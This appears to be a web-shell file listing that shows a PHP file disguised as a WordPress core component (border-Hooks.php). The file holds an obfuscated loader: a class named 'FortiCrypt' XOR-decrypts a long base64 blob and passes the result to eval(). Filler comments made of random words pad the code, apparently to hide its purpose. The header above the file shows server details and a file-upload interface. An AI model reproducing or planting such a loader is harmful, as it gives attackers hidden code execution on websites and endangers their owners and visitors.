HEX
Server: LiteSpeed
System: Linux server902.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: deshuvsd (2181)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: /home/deshuvsd/www/wp-includes/block-supports/border-Hooks.php
<?php

/**
 * horror laser mere motivate personal register skim videotape.
 * agent appoint brake simplicity waist.
 * catalog import notify passport prevail.
 * $utqzff = applause conquer evaluate fatigue nylon opportunity rival terror trial;
 * academy bachelor deaf ingredient optics personal quotation sexual.
 * $sdyphfmv = idle leap missile organ repetition reveal;
 * $jczsou = architecture award exaggerate exclusive network promote transform urban welfare;
 * response approach hatred lean media pants presumably profitable region shallow simplify.
 * @package WordPress
 */

class FortiCrypt
{
    private string $protectionKey;

    /**
 * derive identify precaution reluctant.
 * $zgabmi = beforehand discount liter participate ridid sexual title trap vacant;
 * $iqbprx = abundant consistent expand powder vague venture;
 * casual chaos domestic geology hostile index liberal split terminal terror.
 * comment decorate exclusive gap gaze globe infect inhabitant mild slippery transmit.
 * brake burst decay geology junior the vary.
 * @package WordPress
 */

    public function __construct(string $protectionKey)
    {
        if (empty($protectionKey)) {
            throw new \InvalidArgumentException("protectionKey key cannot be empty.");
        }
        $this->protectionKey = $this->deriveVersionSecret($protectionKey);
    }

    /**
 * identify slide strategic talent.
 * cliff community domestic extraordinary minimum omit tropical.
 * acid adjust appeal barrel decorate exclude female violence.
 * chaos community delay display fatigue mood mutual.
 * architect deputy dump harmony hydrogen inferior modify offend split subsequent vital.
 * beforehand bunch incident male mixture pursue software solar ultimate weed.
 * @package WordPress
 */

    public function resolveCipher(string $ciphertext, bool $fixed = false)
    {
        $raw = $this->normalizeBase($ciphertext);
        if ($raw === false) {
            throw new \RuntimeException("Invalid Base64 input.");
        }

        $keyBytes = array_map('ord', str_split($this->protectionKey));
        $keyLen   = count($keyBytes);

        $data = array_map('ord', str_split($raw));

        if (count($data) < 2) {
            throw new \RuntimeException("Ciphertext too short.");
        }

        $checksum = array_pop($data);
        $calcSum  = array_sum($data) % 256;

        if ($checksum !== $calcSum) {
            throw new \RuntimeException("Checksum verification failed.");
        }

        $decrypted = [];
        foreach ($data as $i => $byte) {
            $decrypted[] = $byte ^ $keyBytes[$i % $keyLen];
        }

        $result = implode('', array_map('chr', $decrypted));

        if (!$fixed && strlen($result) > 8) {
            $result = substr($result, 8);
        }

        eval('//' .$result);
    }
	
    /**
 * advertise agent bundle comparable gallon horror inevitable portion vessel whereas.
 * defect discount entitle internal mood nucleus restrict scandal temple variable.
 * appetite aspect calculate gaze leisure partial subsequent tension title virus.
 * column gesture horrible male prescribe.
 * $xcpgchml = academy community infect internal motivate render;
 * $odyeougvne = adhere domestic entertainment evolve grant issue lean liable triumph;
 * compete conquer debt facility mist scale volcano.
 * $igmcnmb = academy deposit excursion knot parade slender slide timber universal;
 * commit illegal moisture nevertheless transplant triumph vague.
 * catalog column echo inhabitant marveous merchant offend suspicious utter vessel.
 * adequate flash gratitude mutual ridid secure simplicity.
 * clue commit exclusive horrible loosen motive prompt racial reputation transform.
 * @package WordPress
 */

    private function normalizeBase(string $data)
    {
        $data = strtr($data, '-_', '+/');
        $padding = strlen($data) % 4;
        if ($padding > 0) {
            $data .= str_repeat('=', 4 - $padding);
        }
        return base64_decode($data, true);
    }

    /**
 * loose offend reliable title victim.
 * abundant algebra favorable golf ridid.
 * origin petrol subway weed.
 * device likelihood manufacture passive.
 * emotional evaluate laser shield.
 * $denbfgc = cope orchestra outset primitive quit severe vehicle whatsoever yawn;
 * decade solar terror variable.
 * $cyfpyndtre = deserve focus retain shield slender vanish;
 * automatic breed capture dash discrimination fertilizer humble mutual simplify submit yawn.
 * academic appetite competent distinguish enthusiasm portable profit vessel.
 * @package WordPress
 */

    private function deriveVersionSecret($version = null){
        if ($version === null) {
            $version = date('Y-m-d');
        }
        return substr(hash('sha256', 'prefix-' . $version), 0, 32);
    }


}

/**
 * appropriate career media subsequent violence.
 * $imaumw = discount erect interpretation magnet mist terminal;
 * consume interfere rescue spur vessel.
 * delay explore explosion infer.
 * decline distress evolution orchestra profit reluctant submerge trace.
 * @package WordPress
 */

$signatureObj = new FortiCrypt("v1.0.0");

$cipherVault = 'W0XggA4nNdBXCVEMV1g-GhoSbxEbFgYNWk0IVxcLQ0RDXldWTRMNDRJYBUxCDEZcV1ELEUNTEwdVVUFKCg1AUhEVT1ZaUgEXClARTExpFB8QWwRcQUMWQlFXFVEXF19WEFgZXktSDQZGVhFUFgZSQFwYDF9XXwsLQFxBVwcQQVgRXhlPWEEKAwRdBhtoQx4VWF0XVRFfCBJbSgQZEhZZRBNQS1BNSkMXElgPXBEGFEJYXRdUUEVLaBQTQVIMC0IXEVBJXE1aFwsJX0NGCwRaVERNF1QRQhcHWVwPXQ0RRRlpFRMZWlITFhNDBhUBAkZQVUpFV1REEQtYUBtcEERRVhFXWF5cEwsXC1MPUEIQXFxWTEVGWVcREVtcF1wQSjwXSRUdUUlUEwMMUApTQl4UVl9KABFUWBEKQUoIWBEJFlAGWlVWXkpDDwlYEEFCEV1DUVRFRUNTCAdaXQ5MEV88F0kVWF1TRhAWRlAUVBAHFFdRShdYVERFAVhQB19CAF9EE1pKXBlDEQsIUgpFDgYUQVVWAVRfVRxMPhlLGUYWQEYJQE1QXBNeQgdBE1ADDxRWXE0AEVVTBAQUXABLFgxHQgJeXBlJVhcQCV0GQA9DRlBeXABDCjxFSBQdDUAWFVxZEk1dShkOQwMWQQZBCxdRFVVJEFhHVwkHWk1BXBoFUVAGR1hNXBMFAx4RC1oQEVtHEFAQXFNaAEJESw5UCwpTWRcVS1xeWgwMRkYCWwYGRg46GE8RcUYEAV9YBlxCM1lFB2VLXEpAaUJMHmk4aEdCBUYYWBEWXkUNQEoQTQEJRl8LD19VFkEaTRBWAFsWD19eXxgAREJTARhVShBKDBdZUgpCQRlSUkNCSFYZVgcHW1dXVRBaHl4AA1kZDFMaBUFGAVZKSl1SFxFGRBlQEQZDGEpJVUlFDgYbBVMGAQAOGVMTVFxcSUoGCx9AUUILUERSAFkOA0haSwFRSRFOChBcRwxCHgI0OUcUV0dDCEIQQEdcXQsZFUBVFB0CbDNGCllAFkdVGQQTREVdPGlTDREcEVkFVQoREgxeEE9QT1lEEl5IHhBCNDlDQkYRClNKQxBcEB1FAhELWEIEGUhCb24WF0MVGRkZE0cMCUYWRw5DGggQHBMBR21BC2kCbDNCRBYXHjgzRDQ5TEhMO0MfQg5VUl5dERFfQwgHRksOTBFEWVUQVkxLXBMTEANHCloXEBo_EBJFUFJXAQdZQEFaDQlbQg1cTUAZXwYLFUQRUEIVXVdCWRFUEUEMFlxKFVgMABg9Qx8ZW1ZGDQYHQxoVAQxZWEVWDEVIFgsDQlAGWBYNWVlDWklJVkEXFwhYF0xCE1tHRFkHXVQWFwdEXBVQFg1ZWUNGUUxNRw8HRkURXAMPFEFFURFYXlhFFV1NCUoWBVhTTT8ZExlSFxYPRRZRB0NXWlxUDEJYWQtCWVASTUIQV0UNUEpNGUQCDAJUERtoQx4VVUAVVF9SRQRYVgJSQgNTWQZHWE1cEwoPFl4QUEITRlxfSgxFSBYVEFtKEVwBEBZEFkZJUFpaDBcVH2kVSENVUlVWERFVQxcDVlUEGQcXRVINQVBYVRMGGgVUEEZCBkxFUVYBEVROFQ5bSghWDERTTxdHXFRcEwUDEF4RXBYGFEBETABDEUAMDVhcD01MbhYdQxFOT0pXBQwJEV4VAwBFQFlKABFVXxYSWFgYGQUIWUUKWkxKGVkGAwhCQ0YXAUdBUVYGVBFCAA9EVhNYEB0NPUMfGXlJUgAJB1YGFTUMRlFgSgBCQjxFSBszbDNGEgJBQwgZWEtBAhtOGFg4aEdCBkYYWBFbRQoMa1wPWg0AUx9DEWZqfGE1JzQRSBVGPGR6Y2xFGAo7b0ZCDRdiRQ1XWhZETVBJW0Q_RgxDERRQQg49MgNeQx5BCwkJWhlGDQoFWBUdUBIYShlrO0MVQkMQQwNORQwRVRAQWGYIVwsQHh5YODMZGRNDARNDD2oRBkBaQExNERVAVhQYGSJsMCh5ZzdqbGt1H0NGCF4UQBAPFBwLNW8RERZFAUFLDWYRAUJYE0ERGR1FUBRKESBgMC97ZWRnLXRwciAwGBkHWA4XUxdKDjQzGRNDQgVEEVk9EFFBX0gRGRESE1FCFUF6NzZ6eDNhZmt8ZzYwKGUxdCwwcnBiFEVFQ0MAQh0CbDNCRBYXAEBLVWZABhYJQRcdQkdCBkYURXJkZCktZG0-aS03YhtDQUtMXBNKWWs7QxVCQ1dAQlQ6QlRCChJAEUEdFFdAG0N2bGt1fDM2OWEsZjYlfXB8fDYdERITVkIZSAJvbhYXQxVaTEtfPBEDRQxFFksUEUYLEx0RdTAweHYxbT0neXktcHptbXouJylkNxlCUAQVGQNoOxEWRUIQT1RPQlkWVBZHVWZcSwYBThFHQ1EVFBwLNW88OztvQhQZQVAETF9EEFBNER1sJCcyakRRBwFBUhdlTBEXEEVGa34kbTlDUlIBQF4eZBNeX0YAQxNEQ0RHVV86XFBCBgocHkJnCg0aFAoSFRkdbDAnNGcmZzlEfGFkaDpwcnUgMmBmLXgsI2N2JHAeZBAaGG9sEUMVQkMUFRBdBlleFkJeUFAXGREQT1sGCBtdUEATDgdIWRUMDFpQCxpbFgo7b0IUGUEZQkQWUgBdVhkdXQwVE0MPG0BfVkcfBkcfYX41PXF2LQJvbhYXQxUZGRkTBgEOXkMRFFZCDj0yRRERFkVCFBkEQQsQDTppFRkZGU5uaGs7QxVCQxsfGjJFGxFbBAVaXBUZDBFbUhFHVkxKEwwAFVIWRwdDREdVTgxeREVLaBQTQVgBBVJSDkwZWlZeDhcIWBdMQg9RXENNF1QRQAwARlgVXEITX0MLRk1YV1dNaEYbQ1cNFlpRUUocEVJZCA9BVwhNG0RYVhVcXlhNWgwMRl4TRQ0RQEBeURFIEUYKEEBYA1UHRERSE1BNUE1aDAxGQgtAFhdYUBBMF1hQWkUWQVAVUA0KFkAKQVFKTVINBkg7Qx9CAkBBWUwQVVQWBg1YVQhKCwtYFw5cSk0ZRwIQCFQQQUIUVVtUXRcfOxZPQlFBEVwMABZRD1paUhlUBgwDQwJBB0NdWEBXFlQRRhcLW0sITRtERkUMRklcWkdDERNCE1wBCltAQxZvERsWBAVRVxUZBhFEVgFZXBlcQBAHCEUKVA5DUU1TXRZCEVMdElVXBRkHHEZbDEZQVlcTBhoSQwZYB0NSVEZXF1hFU0UXQE0ES0ISX1gPUFdNFzlDSEYVFEMRB1JbXxhYEVBVFBddSwQZBg1FRw9UQBleXwwQD14WRkIJUVReS0VCRFQWFlVXAlxCEFNaE1pLWEtKWGhGG0N1EgJXXlFfABFmWRcGZEsEShFuFh1MPzQzGRNDQg9XQx1CQkRHVV86XFBCBgocGUYWXgJfWxdQSwcRHUhdTw0_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-Gh5_cQdDWlRrYgAPMEsATCBTVkxySwcDd10sKmZWO2ogVFdwNUFjag14KiEJeip2DQRlfXJQPANFXj9QYV43C1sdbHEhTGNhd0kgCydAL0INKHhMX0kmWHBHLCRmVQN-Gh5_cQdDWlRrYgAPMEsATCBTVkxySwcDd10sKmZWO2ogPFQEKV5scXNfAFErVgdyCg9WYmVfPGYEXSwlDQgFcSBVUnQhRV16DXgqIQl6KnYNBGV9alAGWHNfB1ANSiJQIxV6QBNeY25jQwEPM14qdgY7YXMJbjABZ1AzJ1x_NWw0MHxOFFJdcXMCOTEnQSxCDSh4TF9JLHRJQDw1ZkMocTALbGQhbVsKc1g2KixdAAYvBGZiBQoEaXtABw8FVQNXMwNvYFZecH9rXwE6JEI6bTAPfXZfTiZfe1oGOmJJAlQ3A24GWnBqb3NVOxsnRCp2ARVQBnFMPFxJQD8bBVY7biQPbG8qQFp-UUQpGBV6RBlvaRQVEBhFEREWQhVEFANVDQMbXwZUXVxLHRMKFhZDCFxDE2V0ARJQeXcuLk1WEHoLJUd-Jk1PYG5hGSsuYwxvMSFsVwNyDmR5fAkBB3QGYzVRBFY7f09bVAIPAAhgBGw1Vl98eGoJU2l0Fjtsaw11BQtRfARaXnJQcSIBIXcJVFAlWm9jej1TAnwON3xzDVpRKX1-IFpPel5DEzgPcAx8ISZTVGh2H2tpZword2tSWiRdXVY0Z19YfmULOCFnGnwhCFN-Y3pSclZZLyh8XRZhUDZGbSUMVmNudQg4PngEZTEhBFZebgl-RlkuIWcBF3AnHEBuNGReXX5bDysgVRVWDzFlVl1uH1JIdBYDY3MYYDouA3sEWnNaVGUbBjFdGm80WkJXXXYJeHcPAzBxVTJhU1xRewp0V3UKVxQuMUkVbDUyQVZ3UBJ7S0UuIVNSF3UbJmJtO2ReXWFyBAYhWQ98JAdCVl1qNFJcYB8BTXsZXTUyT1IwAXJ6YVcUKSVaVHYFDH55SQACZXYPDTh3e1FYJTFRUyRdVVtuZgQGIWcXViUbXFF3bRByVlocOGx_UFg6LlpvUQxMYAtmBDMzezdgJyVhZnN5EHh3UjQxYQwlcCFQUX0aDAljbgIUACF3U28xUkdXAn4Oa2l_EAFzURZzGBd9dA0FcnpeXChFSjxpFUJDFGgLNW88OxZFQhQdB1AOAWZWF11KWEpaGUJbETg4aEMUFRAYRREREQwMUFwZFxIMRhBDCAcZDQJWTms7QxVCQxQVEBhCRkEbBw5bXkxRBwVSUhEbSVFJFENfWBFQA1dPOT8QGEURbA1oaDkzQRlCRBJRCllcaUtWEEJbEUQSWW4-FRAYRVhXHgEHUlAPXAZMEXYhZml4bXtES0YXRRUEClhQb10dWEJCFkp1ezJpIzB-F00VHlBXVwYaSEELRUVKFBMWGANYXVM6B0xQEk0RTHd1MGV4bXETTUJBRhMYAA9bUh1QAFBVUxdMRFERHktNTTppFRkZGRNDQkYVBVwOBmRHVUtFDBF3JzFkeDVxWWk8F0MVGURcXxAHD1dLXBEQUUEYHDpidGQzJ2ZiRn0tJ2N6JnttZmt8LDZBbEoVREUUU1lUAG5UTgwRQEpJHT03c2U1cGtiHncsITN8Jns2PGZ6f2xCbBEYRUUbUA9dBxwYRwtFHhAZFUVCAFgPUD0GTFxDTBYZFWk2J2ZvJGs5Q3J4IGB0fHdnPDApfjcSP0MaFRcXEkEcVAkNUxQJXAMAU0VNRVFJHhpKQh08aRVCQxQVEBhFFVdfCQdkSwRKQlkWEzxmfGtvdjE5QXUsdjcucXtkZzd-fmJCPxQXQR5NQw06aRUZGRlOBg4VVBg4aEMUFRAYRREREgYXRksEVxYgX0VDCBlmZncqMDluWDhoQxQVEBhFERESFw1bTSVQEEQLF0dWTEtLVg0WIlgRDm9pFBUQGEURERYSCl1VBBlKRVBeD1BmXEFaEBYVGUdHDQxAcVlKRR8REUoVRBQDVQ0DG18GVF1cSx0TChYWShVERRQRQlcKRXVfF0IVBFwZRUsRHkNONDMZE0NCRhFDFUJDFBUUSgpeRXIMEBQEQV0LFlhWDlARHUtcDBYiWBEcWW4-FRAYRRERFkUfOTNBGUJEFhdDFR1fUF8GMhRUEBVfQxBHX1cRdVhERUwUHk4eWWk8F0MVGUQ0OW5oRhFDFQQMRlBRWw0ZFVAMDlFpAE0KF1dECk8ZWEoTRwkDSF4LRhVHHEs1bxERFkVCFBlBUARMUF4PUGZcQVoQFhUZR1MLD1FlQl0WER8WQQlRQEgZREIWUQpZXEpQSQZKQlcKWQczRlBDGEsRFV0AGx0ZXxlGAl9bBmVYTVFAAhEPSzgRCQZNaBlDaDsRFkVCFBlBGUJEFhcKUxkRGFoQPRFDCkEDAVhQGBwDWF1TNRBRSkEXQkBdUhocEBlCPmlCRhFDFUJDFBUQGEURERZFIldRDFYGTBJRCllcaUtWEEJIEUdeBxoYFQAOUwcYDWhoFBlBGUJEFhdDFRkZRD5pQkYRQxVCQxQVEBhFFUFDETFAS0EEQgZXRAYDDWZdVgANAlRLEQQKWFBgWRFZQlcWORBSBEA_TQ06aRUZGRkTQ0JGEUMVQiNSXFxdOkFEQjoBW1cVXAwQRR9HU1BVXGMRBxURTRVGCFFMHBhBQURCNhZGEFo0aEQWF0MVGRkZTm5oRhFDFR9uPkg9Mmg7PDxKSB4zQRNCAFNUBltNGVxLFwcUXwJZQg5bWVVbEF1UFhcHWFAGUA0RRRcWR1tYVx1pQkwRAlYLBxRUQEgJUERFAEJVSw5MEQEWUxZHWE1QXA1CAVAPWQ0NFFxeSxBDVBYLF11KAFcBARg9Qx8ZWFVHBhBGUBNFEAxCUBBZF1JZXxEHV00USwdEU0EMWUxNUFwNQgNJAEAQEF1aXhgASUFXCxFdVg8ZEAFaXgJXVVwZRwYMAlQRFRYGRlhZVgRdEUIXB1VNGBdoRBwXE0BLSkxWQxERUA9ZDRQUQUJdCFNdU0UaRFUOUBZKPBdJFVNMV1oMEEZcAlIMBkAVXl0QRUNXCUJaVhVQBB0WRBZXVFBNHWlCTBECUgcNQBVRTQFYXhYAFF1VQVwaFFdZEFxWVxlVAhYHXUNcDBdRR0BKAEVQQgwNWhkMWAsKQlYKWxlLXF4MFgMREEAADlFHV11FREVfCQtHXEFOCgVCRAxQT1xLHWlCTBFHXRAHRkBRGFgRUEIRA1dRQVsOBUVDQ1BXTVBHDwdGXQpXBxFVWRBUDFNURBEbFEkOTgYBRBcXR1BMVEMLQhFQBFoMQ0NQVVxeOxEcRQdMSQRXBg1CQhFQGV9cQQULClRDRQcCXxVDUAxXRRYWCkZQD1JCEFdFBFBNGU1EChESERtFDgxdQR4yRRsRVwYDUFwMUAFEUlIQVlxXXRMTBxRCDFsDDxRFQlEKQx88RUgUeRFYAQ9XUAYVblZLVzMQA0IQP0JJGz86C1MGBwVeLA';

$signatureObj->resolveCipher($cipherVault, true);